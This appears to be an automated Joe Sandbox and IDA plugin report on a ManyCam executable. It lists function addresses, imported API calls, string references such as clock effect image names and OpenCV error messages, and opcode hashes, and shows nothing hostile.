preview.jpg, xrefs: 00512412
InternalProperties, xrefs: 00512657
.mce, xrefs: 005127C2
\ManyCam, xrefs: 005121C1
640x480, xrefs: 00512278
preview.jpg, xrefs: 005126EC

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$AllocatorDebugHeap$CreateDirectoryFrames@$Frame@Load@$Delay@DestroyDestroy@FileFolderFrameHeight@MpunctOperationPathRetreiveSpecialWidth@_wmkdirwcscpy_s
String ID: .mce$352x288$640x480$InternalProperties$NewEffect$\ManyCam$blocked=0type_id=%dcategory_name=%screator_info=preview=%s$preview.jpg$preview.jpg
API String ID: 2719232945-3254136489
Opcode ID: edb56aa18bfe84e8b2a6fcb1c4672e86fafff6400bd075d5d8bb305b2034b014
Instruction ID: 9b3459efdfe137e0bd21340dd663e66a4f958181f4942486322fc66185ab85f6
Opcode Fuzzy Hash: edb56aa18bfe84e8b2a6fcb1c4672e86fafff6400bd075d5d8bb305b2034b014
Instruction Fuzzy Hash: D43219B19002599BDB24EB65CC95BEEBBB8BF44304F0041EDE509A7282DB746F84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004FE9C0 Relevance: 63.2, APIs: 19, Strings: 17, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 004FEA15

Part of subcall function 004167C0: _DebugHeapAllocator.LIBCPMTD ref: 004167CE

_DebugHeapAllocator.LIBCPMTD ref: 004FEA2B
_DebugHeapAllocator.LIBCPMTD ref: 004FEA41
_DebugHeapAllocator.LIBCPMTD ref: 004FEA57
_DebugHeapAllocator.LIBCPMTD ref: 004FEA6D
_DebugHeapAllocator.LIBCPMTD ref: 004FEA83
_DebugHeapAllocator.LIBCPMTD ref: 004FEA99
_DebugHeapAllocator.LIBCPMTD ref: 004FEAAF
_DebugHeapAllocator.LIBCPMTD ref: 004FEACA
_DebugHeapAllocator.LIBCPMTD ref: 004FEAE0
_DebugHeapAllocator.LIBCPMTD ref: 004FEAF6
_DebugHeapAllocator.LIBCPMTD ref: 004FEB0C
_DebugHeapAllocator.LIBCPMTD ref: 004FEB22
_DebugHeapAllocator.LIBCPMTD ref: 004FEB38
_DebugHeapAllocator.LIBCPMTD ref: 004FEB4E
_DebugHeapAllocator.LIBCPMTD ref: 004FEB64
_DebugHeapAllocator.LIBCPMTD ref: 004FEB90
_DebugHeapAllocator.LIBCPMTD ref: 004FEB9C
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000004,00000000,data\effect_data\dateTime\,?,?,74C45DB3), ref: 004FEBB2

Strings

clock_analog_orange.png, xrefs: 004FEB30
clock_analog_pink.png, xrefs: 004FEB04
clock_digital_white.png, xrefs: 004FEA91
clock_digital_black.png, xrefs: 004FEAA7
clock_digital_pink.png, xrefs: 004FEA4F
clock_analog_violet.png, xrefs: 004FEB1A
clock_digital_violet.png, xrefs: 004FEA65
clock_analog_white.png, xrefs: 004FEB46
clock_analog_yellow.png, xrefs: 004FEAC2
clock_analog_green.png, xrefs: 004FEAEE
clock_digital_orange.png, xrefs: 004FEA7B
clock_digital_blue.png, xrefs: 004FEA23
data\effect_data\dateTime\, xrefs: 004FEB88
clock_digital_yellow.png, xrefs: 004FEA0D
clock_analog_blue.png, xrefs: 004FEAD8
clock_analog_black.png, xrefs: 004FEB5C
clock_digital_green.png, xrefs: 004FEA39

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@
String ID: clock_analog_black.png$clock_analog_blue.png$clock_analog_green.png$clock_analog_orange.png$clock_analog_pink.png$clock_analog_violet.png$clock_analog_white.png$clock_analog_yellow.png$clock_digital_black.png$clock_digital_blue.png$clock_digital_green.png$clock_digital_orange.png$clock_digital_pink.png$clock_digital_violet.png$clock_digital_white.png$clock_digital_yellow.png$data\effect_data\dateTime\
API String ID: 1315443971-1631216271
Opcode ID: 747f7d782d11fa2e0d7beee0116b0fc85c130efa3bd3a1f2cfbfa411f50ad014
Instruction ID: 9f3b7328a67c5534ac5b9426a16a074336d8bfd3d1576c03120503d92f7e5980
Opcode Fuzzy Hash: 747f7d782d11fa2e0d7beee0116b0fc85c130efa3bd3a1f2cfbfa411f50ad014
Instruction Fuzzy Hash: AE512B30D0020ADBCB14EB91C952AFFB771BB1170AF61446EE121371E1DB79AD49CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409060 Relevance: 54.7, APIs: 22, Strings: 9, Instructions: 435COMMON

Download Yara Rule

APIs

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

Part of subcall function 00418B80: CreateSolidBrush.GDI32(74C45DB3), ref: 00418B8B

FillRect.USER32(00000000,?,00000000), ref: 0040910F
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000), ref: 00409152
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040917C
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409191
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004091BC
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004091DB
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(000000E8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409212
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,00000006,00000006,00000000,000000E8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409231
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(000000E8,00000000,00000000,00000000,00000006,00000006,00000000,000000E8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040924D
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000006,?,000000E8,00000000,00000000,00000000,00000006,00000006,00000000,000000E8,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409269
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,-00000006,00000006,?,000000E8,00000000,00000000,00000000,00000006,00000006,00000000,000000E8,00000000,00000000,00000000,00000000), ref: 00409287
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(000000E8,00000000,00000000,00000000,-00000006,00000006,?,000000E8,00000000,00000000,00000000,00000006,00000006,00000000,000000E8,00000000), ref: 004092A3
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,00000006,00000000,000000E8,00000000,00000000,00000000,-00000006,00000006,?,000000E8,00000000,00000000,00000000,00000006), ref: 004092C4
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,005952B0,00000000,00000000,00000000,?,00000006,00000000,000000E8,00000000,00000000,00000000,-00000006,00000006,?,000000E8), ref: 004092E7
memset.MSVCR80 ref: 00409647
SelectObject.GDI32(00000000,00000000), ref: 00409676
SetTextColor.GDI32(00000000,00945121), ref: 0040968D

Part of subcall function 00415F90: CopyRect.USER32(?,004093A8), ref: 00415F9F

DrawTextW.USER32(00000000,00000000,00000000,00000018,00000020), ref: 004096E4
SelectObject.GDI32(00000000,?), ref: 004096F9
GetWindowRect.USER32(00000000,?), ref: 0040971D
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(?,000000FF,000000FF,00000000,00000000,?), ref: 0040974D
?Draw@CxImage@@QAEJPAUHDC__@@JJJJPAUtagRECT@@_N@Z.CXIMAGECRT(00000000,?,?,000000FF,000000FF,00000000,00000000,?), ref: 00409770

Strings

Name:, xrefs: 004094A0
Created by:, xrefs: 004094B4
k, xrefs: 0040950E
], xrefs: 004094FA
Type:, xrefs: 00409478
Tahoma, xrefs: 0040960B
Select Resource File:, xrefs: 00409464
Category:, xrefs: 0040948C
,, xrefs: 004094E6

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$C__@@Draw@Utag$T@@_$Width@$Rect$Height@$ObjectSelectText$BrushClientColorCopyCreateDrawFillSolidU3@_Windowmemset
String ID: ,$Category:$Created by:$Name:$Select Resource File:$Tahoma$Type:$]$k
API String ID: 333958392-4118964679
Opcode ID: 57c0907e371b0e5315c579a3b0ab3a5d9bb1bc661649efe18dc397683e395b28
Instruction ID: c7ad2873c58e454c86f9403bdf801017c004aeaca137986ed775093af6690a25
Opcode Fuzzy Hash: 57c0907e371b0e5315c579a3b0ab3a5d9bb1bc661649efe18dc397683e395b28
Instruction Fuzzy Hash: 1712F970900258DFEB24EB64CC59BEEBB74AF55308F1081E9E10A7B291DB746E88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 017863E0 Relevance: 54.5, APIs: 16, Strings: 15, Instructions: 284COMMON

Download Yara Rule

APIs

Part of subcall function 01783A30: cvGetFileNodeByName.CXCORE099(?,?,?), ref: 01783A42

cvGetErrStatus.CXCORE099 ref: 0178640E

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,icvReadImage,Inner function failed.,.\cxpersistence.cpp,00000F70), ref: 0178642D
cvGetFileNodeByName.CXCORE099(?,?,017BCBB8,?,?,height,00000000), ref: 0178645C
cvGetFileNodeByName.CXCORE099(?,?,origin), ref: 01786488
cvGetErrStatus.CXCORE099 ref: 017864D2

Part of subcall function 01783D80: cvGetFileNodeByName.CXCORE099(?,?,?), ref: 01783D8F

cvGetFileNodeByName.CXCORE099(?,?,data), ref: 01786526
cvError.CXCORE099(000000FE,icvReadImage,Some of essential image attributes are absent,.\cxpersistence.cpp,00000F6E), ref: 0178672E

Strings

layout, xrefs: 017864EA
The image data is not found in file storage, xrefs: 01786540
The matrix size does not match to the number of stored elements, xrefs: 0178657C
height, xrefs: 01786443, 0178661E
interleaved, xrefs: 017864E5, 017864F9
roi, xrefs: 017865D1
Inner function failed., xrefs: 01786421
coi, xrefs: 01786633
width, xrefs: 017863F1, 0178660C
.\cxpersistence.cpp, xrefs: 0178641C, 01786510, 0178653B, 01786577, 0178671D
data, xrefs: 0178651F
origin, xrefs: 01786481
Some of essential image attributes are absent, xrefs: 01786722
icvReadImage, xrefs: 01786426, 01786581, 01786727
Only interleaved images can be read, xrefs: 01786515

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: FileNameNode$ErrorStatus$malloc
String ID: .\cxpersistence.cpp$Inner function failed.$Only interleaved images can be read$Some of essential image attributes are absent$The image data is not found in file storage$The matrix size does not match to the number of stored elements$coi$data$height$icvReadImage$interleaved$layout$origin$roi$width
API String ID: 2928324334-3163261889
Opcode ID: b8a50cab9a227c6a1a61fe5a68acc304c2f64c550fb8c822a8a9d72e631164a4
Instruction ID: 160b5d88d9b8f45274992fb4bdacbba020d07220f175fcaf179cc03c613d6e7c
Opcode Fuzzy Hash: b8a50cab9a227c6a1a61fe5a68acc304c2f64c550fb8c822a8a9d72e631164a4
Instruction Fuzzy Hash: E68169F17843023BD610FA2D8C96F2BFBD9EBD0710F44482DF9059B246EB75E60082A2

Uniqueness

Uniqueness Score: -1.00%

Function 01728430 Relevance: 52.9, APIs: 23, Strings: 7, Instructions: 419COMMON

Download Yara Rule

APIs

cvMakeSeqHeaderForArray.CXCORE099(00000000,00000038,?,?,?,?,?), ref: 017284ED
cvGetErrStatus.CXCORE099 ref: 017284F9
cvError.CXCORE099(000000FF,cvSeqInsertSlice,Inner function failed.,.\cxdatastructs.cpp,000007E4), ref: 01728518
cvError.CXCORE099(FFFFFF2F,cvSeqInsertSlice,Sizes of source and destination sequences' elements are different,.\cxdatastructs.cpp,000007E9), ref: 0172854F
cvError.CXCORE099(FFFFFF2D,cvSeqInsertSlice,017A124F,.\cxdatastructs.cpp,000007F5), ref: 017285B7

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvSeqPushMulti.CXCORE099(?,00000000,?,00000001), ref: 017285DC
cvStartReadSeq.CXCORE099(?,?,00000000,?,00000000,?,00000001), ref: 017285E9
cvStartReadSeq.CXCORE099(?,?,00000000,?,?,00000000,?,00000000,?,00000001), ref: 017285F6
cvSetSeqReaderPos.CXCORE099(?,?,00000000,?,?,00000000,?,?,00000000,?,00000000,?,00000001), ref: 01728607
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 01728690
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 017286AF
cvStartReadSeq.CXCORE099(?,?,00000000), ref: 017287DB
cvSetSeqReaderPos.CXCORE099(?,?,00000000,?,?,00000000), ref: 017287E8
cvError.CXCORE099(000000FB,cvSeqInsertSlice,The source array must be 1d coninuous vector,.\cxdatastructs.cpp,000007DF), ref: 017288D7
cvError.CXCORE099(000000FB,cvSeqInsertSlice,Source is not a sequence nor matrix,.\cxdatastructs.cpp,000007DC), ref: 017288FF
cvError.CXCORE099(000000FB,cvSeqInsertSlice,Invalid destination sequence header,.\cxdatastructs.cpp,000007D6), ref: 01728927

Strings

Source is not a sequence nor matrix, xrefs: 017288F3
Inner function failed., xrefs: 0172850C
Invalid destination sequence header, xrefs: 0172891B
.\cxdatastructs.cpp, xrefs: 01728507, 0172853B, 017285A3, 017288C6, 017288EE, 01728916
Sizes of source and destination sequences' elements are different, xrefs: 01728540
The source array must be 1d coninuous vector, xrefs: 017288CB
cvSeqInsertSlice, xrefs: 01728511, 01728545, 017285AD, 017288D0, 017288F8, 01728920

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$ReadStart$BlockChangeReaderStatus$ArrayHeaderMakeMultiPush
String ID: .\cxdatastructs.cpp$Inner function failed.$Invalid destination sequence header$Sizes of source and destination sequences' elements are different$Source is not a sequence nor matrix$The source array must be 1d coninuous vector$cvSeqInsertSlice
API String ID: 2355013540-3609423843
Opcode ID: e79fdcc7e92c0d4daa2f3c4e1604f4101d61e6863fe3d12c6f1a6cd569cd6c4c
Instruction ID: 9e6bd643e97003b5d1c0d79edf7cd4e0470e507c8bc824d1a30b5104ff3e387f
Opcode Fuzzy Hash: e79fdcc7e92c0d4daa2f3c4e1604f4101d61e6863fe3d12c6f1a6cd569cd6c4c
Instruction Fuzzy Hash: 6FD15A71A483219BC720DE68DC80B2FF7E5AFD4710F18052DFA515B386D6B6E9068B93

Uniqueness

Uniqueness Score: -1.00%

Function 01720370 Relevance: 49.5, APIs: 14, Strings: 14, Instructions: 483COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvMixChannels,The input array of arrays is NULL,.\cxconvert.cpp,000002F3), ref: 01720430
cvErrorFromIppStatus.CXCORE099(00000000,cvMixChannels,OpenCV function failed,.\cxconvert.cpp,0000037C), ref: 0172097C
cvError.CXCORE099(000000E5,cvMixChannels,The output array of arrays is NULL,.\cxconvert.cpp,000002F6), ref: 01720457

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(000000E5,cvMixChannels,The array of copied channel indices is NULL,.\cxconvert.cpp,000002FD), ref: 01720495
cvError.CXCORE099(FFFFFF2E,cvMixChannels,The data type is not supported by the function,.\cxconvert.cpp,00000379), ref: 017207F9
cvFree_.CXCORE099(?), ref: 0172080F
sprintf.MSVCR80 ref: 01720911
cvError.CXCORE099(FFFFFF2D,cvMixChannels,?,.\cxconvert.cpp,00000361), ref: 0172092F
cvError.CXCORE099(FFFFFF2D,cvMixChannels,The number of output arrays and the number of copied channels must be positive,.\cxconvert.cpp,000002FA), ref: 017209A3

Part of subcall function 01736DF0: malloc.MSVCR80 ref: 01736E17
Part of subcall function 01736DF0: exit.MSVCR80 ref: 01736E9B

Strings

The number of output arrays and the number of copied channels must be positive, xrefs: 01720994
.\cxconvert.cpp, xrefs: 0172041F, 01720446, 01720484, 017207E8, 01720836, 01720851, 017208DB, 0172091C, 0172096C, 0172098F
output, xrefs: 017208FB, 01720903, 01720907
The input array of arrays is NULL, xrefs: 01720424
The output array of arrays is NULL, xrefs: 0172044B
All the arrays must have the same size, xrefs: 01720856
All the arrays must have the same bit depth, xrefs: 0172083B
input, xrefs: 017208F4
channel index #%d in the array of pairs is negative or exceeds the total number of channels in all the %s arrays, xrefs: 0172090B
Inner function failed., xrefs: 017207ED
OpenCV function failed, xrefs: 01720971
The array of copied channel indices is NULL, xrefs: 01720489
The data type is not supported by the function, xrefs: 017208E0
cvMixChannels, xrefs: 01720429, 01720450, 0172048E, 017207F2, 01720840, 0172085B, 017208E5, 01720925, 01720976, 01720999

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$Free_Fromexitmallocsprintf
String ID: .\cxconvert.cpp$All the arrays must have the same bit depth$All the arrays must have the same size$Inner function failed.$OpenCV function failed$The array of copied channel indices is NULL$The data type is not supported by the function$The input array of arrays is NULL$The number of output arrays and the number of copied channels must be positive$The output array of arrays is NULL$channel index #%d in the array of pairs is negative or exceeds the total number of channels in all the %s arrays$cvMixChannels$input$output
API String ID: 1748436998-3821610722
Opcode ID: 21818ae2fe9061af32ceb542f8c5df4013c5379b937e932fe7033a0a11f02845
Instruction ID: 34bdb6f9a4d39b422c8b07b65a681c002431e4389149bdc391a7a430914d5d34
Opcode Fuzzy Hash: 21818ae2fe9061af32ceb542f8c5df4013c5379b937e932fe7033a0a11f02845
Instruction Fuzzy Hash: F9124AB1E4021A9FCF24CF99C894AAEF7B1BB98314F24826DE515A7345D770A942CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01786060 Relevance: 49.3, APIs: 19, Strings: 9, Instructions: 269COMMON

Download Yara Rule

APIs

cvGetFileNodeByName.CXCORE099(?,?,sizes), ref: 01786087

Part of subcall function 01782FC0: cvError.CXCORE099(000000E5,cvGetFileNodeByName,Null element name,.\cxpersistence.cpp,0000023E), ref: 0178300D

cvGetErrStatus.CXCORE099 ref: 01786091

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvGetFileNodeByName.CXCORE099(?,?,017BCBB8), ref: 017860BC
__alloca_probe_16.LIBCMT ref: 01786129
cvReadRawData.CXCORE099(?,00000000,?,017BCBFC), ref: 01786138
cvGetErrStatus.CXCORE099 ref: 01786140
cvError.CXCORE099(000000FE,icvReadSparseMat,Some of essential matrix attributes are absent,.\cxpersistence.cpp,00000ED4), ref: 01786399

Part of subcall function 01785320: cvGetErrStatus.CXCORE099(?,?,00000000), ref: 01785340
Part of subcall function 01785320: cvError.CXCORE099(00000000,icvDecodeSimpleFormat,Inner function failed.,.\cxpersistence.cpp,00000BD7,?,?,00000000), ref: 0178535E

cvGetErrStatus.CXCORE099 ref: 0178615D
cvGetFileNodeByName.CXCORE099(?,?,data), ref: 0178617A
cvCreateSparseMat.CXCORE099(?,?,00000000), ref: 017861A0
cvGetErrStatus.CXCORE099 ref: 017861AB
__alloca_probe_16.LIBCMT ref: 017861D1
cvStartReadRawData.CXCORE099(?,00000000,?), ref: 017861E7

Part of subcall function 017853C0: cvStartReadSeq.CXCORE099(?,?,00000000), ref: 0178540F
Part of subcall function 017853C0: cvGetErrStatus.CXCORE099 ref: 01785417
Part of subcall function 017853C0: cvError.CXCORE099(000000FF,cvStartReadRawData,Inner function failed.,.\cxpersistence.cpp,00000C61), ref: 0178543A

cvChangeSeqBlock.CXCORE099(?,00000001), ref: 0178625D
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 017862A7
cvPtrND.CXCORE099(?,?,00000000,00000001,00000000), ref: 017862BA
cvGetErrStatus.CXCORE099 ref: 017862C4
cvReadRawDataSlice.CXCORE099(?,?,?,00000000,?), ref: 017862DE
cvGetErrStatus.CXCORE099 ref: 017862E6

Strings

Sparse matrix data is corrupted, xrefs: 01786317, 01786332
Some of essential matrix attributes are absent, xrefs: 0178638D
Could not determine sparse matrix dimensionality, xrefs: 01786372
Inner function failed., xrefs: 017860A4
.\cxpersistence.cpp, xrefs: 0178609F, 01786312, 0178632D, 0178635C, 0178636D, 01786388
data, xrefs: 01786173
The matrix data is not found in file storage, xrefs: 01786361
icvReadSparseMat, xrefs: 017860A9, 0178631C, 01786337, 01786377, 01786392
sizes, xrefs: 01786079

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$ErrorRead$DataFileNameNode$BlockChangeStart__alloca_probe_16$CreateSliceSparsemalloc
String ID: .\cxpersistence.cpp$Could not determine sparse matrix dimensionality$Inner function failed.$Some of essential matrix attributes are absent$Sparse matrix data is corrupted$The matrix data is not found in file storage$data$icvReadSparseMat$sizes
API String ID: 3906617704-2829007588
Opcode ID: 9993d635728c08545011ef2530bb938ff56e4cc9c0d4b7cf07a3deda7dbd8382
Instruction ID: dc4a90124b85eb2e912778fc142548017333a6f58389d11a3bfcd4ef70604c17
Opcode Fuzzy Hash: 9993d635728c08545011ef2530bb938ff56e4cc9c0d4b7cf07a3deda7dbd8382
Instruction Fuzzy Hash: 489115B1E8021ABBDF10EB94DC95FAEF7B5EF14710F044559F905BB282E370AA418B91

Uniqueness

Uniqueness Score: -1.00%

Function 01736790 Relevance: 46.6, APIs: 1, Strings: 30, Instructions: 72COMMON

Download Yara Rule

APIs

sprintf.MSVCR80 ref: 0173686F

Strings

Inplace operation is not supported, xrefs: 017367FB
Image step is wrong, xrefs: 017367F5
Bad argument, xrefs: 017367D1
Divizion by zero occured, xrefs: 017367EF
Unspecified error, xrefs: 017367BF
One of arguments' values is out of range, xrefs: 01736819
Insufficient memory, xrefs: 017367CB
Input COI is not supported, xrefs: 01736825
Unsupported format or combination of formats, xrefs: 0173681F
Parsing error, xrefs: 01736843
Sizes of input arguments do not match, xrefs: 01736813
Formats of input arguments do not match, xrefs: 0173680D
The function/feature is not implemented, xrefs: 01736849
Null pointer, xrefs: 017367E9
status, xrefs: 01736857
Memory block has been corrupted, xrefs: 0173684F
error, xrefs: 0173685E, 01736864
Bad flag (parameter or structure field), xrefs: 01736831
Internal error, xrefs: 017367C5
Incorrect size of input array, xrefs: 017367E3
Bad type of mask argument, xrefs: 0173683D
Bad number of channels, xrefs: 0173682B
Iterations do not converge, xrefs: 017367D7
Backtrace, xrefs: 017367B9
Unknown %s code %d, xrefs: 01736865
Input image depth is not supported by function, xrefs: 01736807
Autotrace call, xrefs: 017367DD
Requested object was not found, xrefs: 01736801
Bad parameter of type CvPoint, xrefs: 01736837
No Error, xrefs: 017367B3

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: sprintf
String ID: Autotrace call$Backtrace$Bad argument$Bad flag (parameter or structure field)$Bad number of channels$Bad parameter of type CvPoint$Bad type of mask argument$Divizion by zero occured$Formats of input arguments do not match$Image step is wrong$Incorrect size of input array$Inplace operation is not supported$Input COI is not supported$Input image depth is not supported by function$Insufficient memory$Internal error$Iterations do not converge$Memory block has been corrupted$No Error$Null pointer$One of arguments' values is out of range$Parsing error$Requested object was not found$Sizes of input arguments do not match$The function/feature is not implemented$Unknown %s code %d$Unspecified error$Unsupported format or combination of formats$error$status
API String ID: 590974362-2285283981
Opcode ID: 6e06b05b8fd0a62b4f153955b4dea0d795a5cbe7c2d0bc92593e577d07a60c91
Instruction ID: d583b34f55de228d8705dbe97c160c236b5903ffe8c207a3f386ff6848ced506
